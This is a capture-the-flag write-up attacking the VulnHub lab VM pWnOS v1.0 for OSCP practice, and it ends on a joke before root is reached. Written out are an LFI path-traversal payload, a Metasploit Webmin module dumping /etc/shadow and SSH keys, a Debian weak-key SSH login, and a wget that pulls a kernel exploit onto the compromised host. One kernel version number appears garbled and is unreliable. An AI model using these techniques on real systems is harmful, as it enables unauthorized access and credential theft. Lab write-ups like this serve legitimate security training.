I’ve decided on a goal for 2016 to pwn as many VulnHub boxes as I can, and train myself to reach a level where I can hopefully take the OSCP. So I scrolled back in the list of VMs to start with the older ones and move towards the newer ones. Today’s target is pWnOS v1.0, a vulnerable Linux machine that apparently contains multiple avenues for getting root
I fired Nmap as usual, to see what’s listening on the box:
root@pwnbox:~#nmap -sT -sV 192.168.80.150
Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2016-02-15 07:15 EST
Nmap scan report for 192.168.80.150
Host is up, received arp-response (0.00058s latency).
Not shown: 995 closed ports
Reason: 995 conn-refused
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
139/tcp open netbios-ssn syn-ack Samba smbd 3.X (workgroup: MSHOME)
445/tcp open netbios-ssn syn-ack Samba smbd 3.X (workgroup: MSHOME)
10000/tcp open http syn-ack MiniServ 0.01 (Webmin httpd)
MAC Address: 00:0C:29:5E:18:C9 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Next, I looked at the web server, and here’s what I saw:
Clicking next brought me to a not-so-typical help page:
No matter what skill level you choose, you will be taken to a mocking page with the text “HAHAHAHA! , for a n00b you REALLY SUCK!” (the n00b part comes from what you choose, so it will vary). I played a bit with the URL parameters, and when I modified http://192.168.80.150/index1.php?help=true&connect=true to connect=false, the server spit back some PHP errors:
Warning: include(false) [function.include]: failed to open stream: No such file or directory in /var/www/index1.php on line 18
Warning: include() [function.include]: Failed opening 'false' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/index1.php on line 18
Thinking LFI, I tried to read a file from the system: connect=../../../../etc/passwd. No filtering in place!
Cool, it looks like obama, osama and yomama have been busy making accounts on this box!
I looked next at the Webmin server:
Tried logging in with the default credentials root/root, but it didn’t work. Time to search for some exploits!
Getting the /etc/shadow file
There is a file disclosure vulnerability for the Webmin server, available in Metasploit:
A vulnerability has been reported in Webmin and Usermin, which can be exploited by malicious people to disclose potentially sensitive
information. The vulnerability is caused due to an unspecified error within the handling of an URL. This can be exploited to read the contents
of any files on the server via a specially crafted URL, without requiring a valid login. The vulnerability has been reported in Webmin
(versions prior to 1.290) and Usermin (versions prior to 1.220).
With it, I was able to pull the target’s /etc/shadow file:
msf > use auxiliary/admin/webmin/file_disclosure
msf auxiliary(file_disclosure) > show options
Module options (auxiliary/admin/webmin/file_disclosure):
Name Current Setting Required Description
---- --------------- -------- -----------
DIR /unauthenticated yes Webmin directory path
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPATH /etc/passwd yes The file to download
RPORT 10000 yes The target port
VHOST no HTTP server virtual host
msf auxiliary(file_disclosure) > set RPATH /etc/shadow
RPATH => /etc/shadow
msf auxiliary(file_disclosure) > run
[*] [2016.02.24-09:02:11] Attempting to retrieve /etc/shadow...
[*] [2016.02.24-09:02:11] The server returned: 200 Document follows
[*] Auxiliary module execution completed
From here you can crack the hashes with our pal, John the Ripper, but I won’t go into that, because a Nessus scan revealed a shorter route to hacking the target.
The host is vulnerable to the Debian OpenSSH/OpenSSL Package Random Number Generator Weakness that allows bruteforcing with precalculated SSH keys. You can read more about it here, and also download the vulnerable keys. The vulnerability stems from the fact that the random data used by the algorithm is the PID of the process generating the key.
Using the earlier file disclosure module of Metasploit, it’s possible to search the contents of the .ssh/authorized_keys file for each user. I didn’t find anything for root, but obama has been in the house!
msf auxiliary(file_disclosure) > set RPATH /home/obama/.ssh/authorized_keys
RPATH => /home/obama/.ssh/authorized_keys
msf auxiliary(file_disclosure) > run
[*] [2016.02.29-05:02:52] Attempting to retrieve /home/obama/.ssh/authorized_keys...
[*] [2016.02.29-05:02:52] The server returned: 200 Document follows
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf0ptx2wrcAw09HayPxMnKv+BFiGA/I1yXn5EqUfuLSDcTwiIeVSvqJl3NNI5HQUUc6KGlwrhCW464ksARX2ZAp9+6Yu7DphKZmtF5QsWaiJc7oV5il89zltwBDqR362AH49m8/3OcZp4XJqEAOlVWeT5/jikmke834CyTMlIcyPL85LpFw2aXQCJQIzvkCHJAfwTpwJTugGMB5Ng73omS82Q3ErbOhTSa5iBuE86SEkyyotEBUObgWU3QW6ZMWM0Rd9ErIgvps1r/qpteMMrgieSUKlF/LaeMezSXXkZrn0x+A2bKsw9GwMetQ== obama@ubuntuvm
[*] Auxiliary module execution completed
So we know obama’s public key, and we also have the vulnerable pregenerated keys that we downloaded earlier. So it’s possible to search for this public key among all those keys:
Great! A match has been found! I used to ssh on the box as obama (wouldn’t it be nice to be able to do this on an actual White House computer.. xD)
root@pwnbox:~/debian-ssh/common_keys/rsa/2048#ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 email@example.com
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
Last login: Mon Feb 29 04:44:43 2016 from 192.168.80.144
The kernel version of the system is outdated:
obama@ubuntuvm:~$ uname -a
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux
Googling it instantly brought some good news about vmsplice_to_pipe(), a local privilge escalation vulnerability that affects kernels prior to 126.96.36.199. And the source is available on ExploitDB. You can see that the author didn’t lack any imagination with the name of the source code file (read the first line, it’s hilarious) xD
Ok, back to business. I downloaded the file on the compromised box (had to use the —no-check-certificate option because I would get an error otherwise):
obama@ubuntuvm:~$ wget -O vmsplice.c https://www.exploit-db.com/download/5092 --no-check-certificate
Resolving www.exploit-db.com... 188.8.131.52
Connecting to www.exploit-db.com|184.108.40.206|:443... connected.
WARNING: Certificate verification error for www.exploit-db.com: unable to get local issuer certificate
WARNING: certificate common name `*.mycloudproxy.com' doesn't match requested host name `www.exploit-db.com'.
HTTP request sent, awaiting response... 200 OK
Length: 6,293 (6.1K) [application/txt]
100%[============================================================================================================================>] 6,293 --.--K/s
05:27:52 (1.07 GB/s) - `vmsplice.c' saved [6293/6293]
/ Q: How many IBM types does it take to \
| change a light bulb? A: Fifteen. One to |
| do it, and fourteen to write document |
| number |
| GC7500439-0001, Multitasking |
| Incandescent Source System Facility, |
| of which 10% of the pages state only |
| "This page intentionally |
| left blank", and 20% of the definitions |
| are of the form "A:..... |
| consists of sequences of non-blank |
\ characters separated by blanks". /